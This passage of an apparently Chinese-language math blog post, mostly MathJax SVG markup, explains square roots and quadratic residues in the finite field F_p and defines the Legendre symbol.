112T231 48T328 7Q355 1 466 0H570Q583 -10 583 -20Q583 -32 568 -40H471Q464 -40 446 -40T417 -41Q262 -41 172 45Q84 127 84 250Z"></path></g><g data-mml-node="msub" transform="translate(1751.6,0)"><g data-mml-node="TeXAtom" data-mjx-texclass="ORD"><g data-mml-node="mi"><path data-c="1D53D" d="M584 499Q569 490 566 490Q558 490 552 497T546 515Q546 535 533 559Q526 574 506 593T469 621Q415 648 326 648Q293 648 287 647T275 641Q264 630 263 617Q262 609 260 492V370L275 372Q323 376 350 392T393 441Q409 473 409 506Q409 529 427 529Q437 529 442 519Q444 511 444 362Q444 212 442 206Q436 197 426 197Q409 197 409 217Q409 265 375 299Q346 328 280 335H260V206Q260 70 262 63Q265 46 276 41T326 35Q362 35 366 28Q377 17 366 3L360 -1H24Q12 5 12 16Q12 35 51 35Q92 38 97 52Q102 60 102 341T97 632Q91 645 51 648Q12 648 12 666Q12 675 24 683H573Q576 678 584 670V499ZM137 341Q137 131 136 89T130 37Q129 36 129 35H182Q233 35 233 39Q226 54 225 92T224 346L226 623L231 635L235 648H129Q132 641 133 638T135 603T137 517T137 341ZM549 603V648H495L506 641Q531 621 533 619L549 603ZM409 317V395L400 386Q390 376 375 366L357 355L373 346Q394 331 397 328L409 317Z"></path></g></g><g data-mml-node="mi" transform="translate(644,-150) scale(0.707)"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g></g></g></g></svg></mjx-container> 的二次根 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex;" xmlns="http://www.w3.org/2000/svg" width="1.294ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 572 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g></g></g></svg></mjx-container> 为满足 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.186ex;" xmlns="http://www.w3.org/2000/svg" width="6.496ex" height="2.072ex" role="img" focusable="false" viewBox="0 -833.9 2871.1 915.9"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msup"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g><g data-mml-node="mn" transform="translate(605,363) scale(0.707)"><path data-c="32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path></g></g><g data-mml-node="mo" transform="translate(1286.3,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="mi" transform="translate(2342.1,0)"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g></g></g></svg></mjx-container> 的元素。有的元素没有二次根，比如 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.375ex;" xmlns="http://www.w3.org/2000/svg" width="2.37ex" height="1.92ex" role="img" focusable="false" viewBox="0 -683 1047.6 848.6"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="TeXAtom" data-mjx-texclass="ORD"><g data-mml-node="mi"><path data-c="1D53D" d="M584 499Q569 490 566 490Q558 490 552 497T546 515Q546 535 533 559Q526 574 506 593T469 621Q415 648 326 648Q293 648 287 647T275 641Q264 630 263 617Q262 609 260 492V370L275 372Q323 376 350 392T393 441Q409 473 409 506Q409 529 427 529Q437 529 442 519Q444 511 444 362Q444 212 442 206Q436 197 426 197Q409 197 409 217Q409 265 375 299Q346 328 280 335H260V206Q260 70 262 63Q265 46 276 41T326 35Q362 35 366 28Q377 17 366 3L360 -1H24Q12 5 12 16Q12 35 51 35Q92 38 97 52Q102 60 102 341T97 632Q91 645 51 648Q12 648 12 666Q12 675 24 683H573Q576 678 584 670V499ZM137 341Q137 131 136 89T130 37Q129 36 129 35H182Q233 35 233 39Q226 54 225 92T224 346L226 623L231 635L235 648H129Q132 641 133 638T135 603T137 517T137 341ZM549 603V648H495L506 641Q531 621 533 619L549 603ZM409 317V395L400 386Q390 376 375 366L357 355L373 346Q394 331 397 328L409 317Z"></path></g></g><g data-mml-node="mn" transform="translate(644,-150) scale(0.707)"><path data-c="33" d="M127 463Q100 463 85 480T69 524Q69 579 117 622T233 665Q268 665 277 664Q351 652 390 611T430 522Q430 470 396 421T302 350L299 348Q299 347 308 345T337 336T375 315Q457 262 457 175Q457 96 395 37T238 -22Q158 -22 100 21T42 130Q42 158 60 175T105 193Q133 193 151 175T169 130Q169 119 166 110T159 94T148 82T136 74T126 70T118 67L114 66Q165 21 238 21Q293 21 321 74Q338 107 338 175V195Q338 290 274 322Q259 328 213 329L171 330L168 332Q166 335 166 348Q166 366 174 366Q202 366 232 371Q266 376 294 413T322 525V533Q322 590 287 612Q265 626 240 626Q208 626 181 615T143 592T132 580H135Q138 579 143 578T153 573T165 566T175 555T183 540T186 520Q186 498 172 481T127 463Z"></path></g></g></g></g></svg></mjx-container> 中只有 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.439ex;" xmlns="http://www.w3.org/2000/svg" width="18.676ex" height="2.326ex" role="img" focusable="false" viewBox="0 -833.9 8255 1027.9"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mn"><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z"></path></g><g data-mml-node="mo" transform="translate(777.8,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="msup" transform="translate(1833.6,0)"><g data-mml-node="mn"><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z"></path></g><g data-mml-node="mn" transform="translate(533,363) scale(0.707)"><path data-c="32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path></g></g><g data-mml-node="mo" transform="translate(2770.1,0)"><path data-c="2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path></g><g data-mml-node="mn" transform="translate(3214.8,0)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g><g data-mml-node="mo" transform="translate(3992.6,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="msup" transform="translate(5048.3,0)"><g data-mml-node="mn"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g><g data-mml-node="mn" transform="translate(533,363) scale(0.707)"><path data-c="32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path></g></g><g data-mml-node="mo" transform="translate(6262.7,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="msup" transform="translate(7318.4,0)"><g data-mml-node="mn"><path data-c="32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path></g><g data-mml-node="mn" transform="translate(533,363) scale(0.707)"><path data-c="32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path></g></g></g></g></svg></mjx-container> 具有二次根，且 1 有多个二次根。拥有二次根的元素被称为二次剩余，否则被称为二次非剩余</p><h2 id="判断二次剩余-Legendre-符号"><a href="#判断二次剩余-Legendre-符号" class="headerlink" title="判断二次剩余 - Legendre 符号"></a>判断二次剩余 - Legendre 符号</h2><p>对于质数 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.439ex;" xmlns="http://www.w3.org/2000/svg" width="5.286ex" height="1.943ex" role="img" focusable="false" viewBox="0 -665 2336.6 859"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g><g data-mml-node="mo" transform="translate(780.8,0)"><path data-c="3E" d="M84 520Q84 528 88 533T96 539L99 540Q106 540 253 471T544 334L687 265Q694 260 694 250T687 235Q685 233 395 96L107 -40H101Q83 -38 83 -20Q83 -19 83 -17Q82 -10 98 -1Q117 9 248 71Q326 108 378 132L626 250L378 368Q90 504 86 509Q84 513 84 520Z"></path></g><g data-mml-node="mn" transform="translate(1836.6,0)"><path data-c="33" d="M127 463Q100 463 85 480T69 524Q69 579 117 622T233 665Q268 665 277 664Q351 652 390 611T430 522Q430 470 396 421T302 350L299 348Q299 347 308 345T337 336T375 315Q457 262 457 175Q457 96 395 37T238 -22Q158 -22 100 21T42 130Q42 158 60 175T105 193Q133 193 151 175T169 130Q169 119 166 110T159 94T148 82T136 74T126 70T118 67L114 66Q165 21 238 21Q293 21 321 74Q338 107 338 175V195Q338 290 274 322Q259 328 213 329L171 330L168 332Q166 335 166 348Q166 366 174 366Q202 366 232 371Q266 376 294 413T322 525V533Q322 590 287 612Q265 626 240 626Q208 626 181 615T143 592T132 580H135Q138 579 143 578T153 573T165 566T175 555T183 540T186 520Q186 498 172 481T127 463Z"></path></g></g></g></svg></mjx-container>，定义 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.65ex;" xmlns="http://www.w3.org/2000/svg" width="6.338ex" height="2.195ex" role="img" focusable="false" viewBox="0 -683 2801.2 970.2"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="mo" transform="translate(806.8,0)"><path data-c="2208" d="M84 250Q84 372 166 450T360 539Q361 539 377 539T419 540T469 540H568Q583 532 583 520Q583 511 570 501L466 500Q355 499 329 494Q280 482 242 458T183 409T147 354T129 306T124 272V270H568Q583 262 583 250T568 230H124V228Q124 207 134 177T167 112T231 48T328 7Q355 1 466 0H570Q583 -10 583 -20Q583 -32 568 -40H471Q464 -40 446 -40T417 -41Q262 -41 172 45Q84 127 84 250Z"></path></g><g data-mml-node="msub" transform="translate(1751.6,0)"><g data-mml-node="TeXAtom" data-mjx-texclass="ORD"><g data-mml-node="mi"><path data-c="1D53D" d="M584 499Q569 490 566 490Q558 490 552 497T546 515Q546 535 533 559Q526 574 506 593T469 621Q415 648 326 648Q293 648 287 647T275 641Q264 630 263 617Q262 609 260 492V370L275 372Q323 376 350 392T393 441Q409 473 409 506Q409 529 427 529Q437 529 442 519Q444 511 444 362Q444 212 442 206Q436 197 426 197Q409 197 409 217Q409 265 375 299Q346 328 280 335H260V206Q260 70 262 63Q265 46 276 41T326 35Q362 35 366 28Q377 17 366 3L360 -1H24Q12 5 12 16Q12 35 51 35Q92 38 97 52Q102 60 102 341T97 632Q91 645 51 648Q12 648 12 666Q12 675 24 683H573Q576 678 584 670V499ZM137 341Q137 131 136 89T130 37Q129 36 129 35H182Q233 35 233 39Q226 54 225 92T224 346L226 623L231 635L235 648H129Q132 641 133 638T135 603T137 517T137 341ZM549 603V648H495L506 641Q531 621 533 619L549 603ZM409 317V395L400 386Q390 376 375 366L357 355L373 346Q394 331 397 328L409 317Z"></path></g></g><g data-mml-node="mi" transform="translate(644,-150) scale(0.707)"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g></g></g></g></svg></mjx-container> 的 Legendre 符号 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex;" xmlns="http://www.w3.org/2000/svg" width="12.976ex" height="2.904ex" role="img" focusable="false" viewBox="0 -1033.4 5735.2 1283.4"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mo"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(389,0)"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="TeXAtom" data-mjx-texclass="ORD" transform="translate(918,0)"><g data-mml-node="mo"><path data-c="2F" d="M423 750Q432 750 438 744T444 730Q444 725 271 248T92 -240Q85 -250 75 -250Q68 -250 62 -245T56 -231Q56 -221 230 257T407 740Q411 750 423 750Z"></path></g></g><g data-mml-node="mi" transform="translate(1418,0)"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g><g data-mml-node="mo" transform="translate(1921,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g><g data-mml-node="mo" transform="translate(2587.8,0)"><g data-mml-node="text"><path data-c="3A" d="M78 370Q78 394 95 412T138 430Q162 430 180 414T199 371Q199 346 182 328T139 310T96 327T78 370ZM78 60Q78 84 95 102T138 120Q162 120 180 104T199 61Q199 36 182 18T139 0T96 17T78 60Z"></path></g><g data-mml-node="text" transform="translate(278,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g></g><g data-mml-node="msup" transform="translate(3921.6,0)"><g data-mml-node="mi"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="TeXAtom" transform="translate(562,363) scale(0.707)" data-mjx-texclass="ORD"><g data-mml-node="mfrac"><g data-mml-node="mrow" transform="translate(220,477.2) scale(0.707)"><g data-mml-node="mi"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g><g data-mml-node="mo" transform="translate(503,0)"><path data-c="2212" d="M84 237T84 250T98 270H679Q694 262 694 250T679 230H98Q84 237 84 250Z"></path></g><g data-mml-node="mn" transform="translate(1281,0)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g></g><g data-mml-node="mn" transform="translate(672.9,-345) scale(0.707)"><path data-c="32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path></g><rect width="1459.4" height="60" x="120" y="220"></rect></g></g></g></g></g></svg></mjx-container>。<br>该符号提供了判断二次剩余的简单方法</p><ul><li><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex;" xmlns="http://www.w3.org/2000/svg" width="9.375ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 4143.6 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mo"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(389,0)"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="TeXAtom" data-mjx-texclass="ORD" transform="translate(918,0)"><g data-mml-node="mo"><path data-c="2F" d="M423 750Q432 750 438 744T444 730Q444 725 271 248T92 -240Q85 -250 75 -250Q68 -250 62 -245T56 -231Q56 -221 230 257T407 740Q411 750 423 750Z"></path></g></g><g data-mml-node="mi" transform="translate(1418,0)"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 